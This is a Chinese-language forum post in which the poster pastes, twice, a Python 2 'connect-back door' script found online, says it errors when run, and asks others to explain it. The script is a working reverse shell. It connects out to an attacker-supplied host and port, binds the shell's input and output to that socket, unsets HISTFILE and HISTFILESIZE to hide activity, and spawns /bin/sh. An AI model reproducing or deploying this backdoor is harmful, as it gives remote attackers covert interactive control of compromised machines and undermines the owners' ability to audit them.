- 论坛徽章:
- 0
|
这是摘自网络的一段脚本- #!/usr/bin/python
- import sys
- import os
- import socket
- import pty
- shell = "/bin/sh"
- def usage(programname):
- print "ython connect-back door"
- print "Usage: %s " % programname
- def main():
- if len(sys.argv) !=3:
- usage(sys.argv[0])
- sys.exit(1)
- s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
- try:
- s.connect((socket.gethostbyname(sys.argv[1]),int(sys.argv[2])))
- print "[+]Connect OK."
- except:
- print "[-]Can't connect"
- sys.exit(2)
- os.dup2(s.fileno(),0)
- os.dup2(s.fileno(),1)
- os.dup2(s.fileno(),2)
- global shell
- os.unsetenv("HISTFILE")
- os.unsetenv("HISTFILESIZE")
- pty.spawn(shell)
- s.close()
- if __name__ == "__main__":
- main()
复制代码 这是我自己简单的排版下,没有做过任何修改,只不过运行还是出错!看这段脚本意思实在吃力有些看不懂,谁方便的请分析解释下谢谢。- #!/usr/bin/python
- import sys
- import os
- import socket
- import pty
- shell = "/bin/sh"
- def usage(programname):
- print "python connect-back door"
- print "Usage: %s " % programname
- def main():
- if len(sys.argv) !=3:
- usage(sys.argv[0])
- sys.exit(1)
- s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
- try:
- s.connect((socket.gethostbyname(sys.argv[1]),int(sys.argv[2])))
- print "[+]Connect OK."
- except:
- print "[-]Can't connect"
- sys.exit(2)
- os.dup2(s.fileno(),0)
- os.dup2(s.fileno(),1)
- os.dup2(s.fileno(),2)
- global shell
- os.unsetenv("HISTFILE")
- os.unsetenv("HISTFILESIZE")
- pty.spawn(shell)
- s.close()
- if __name__ == "__main__":
- main()
复制代码 |
|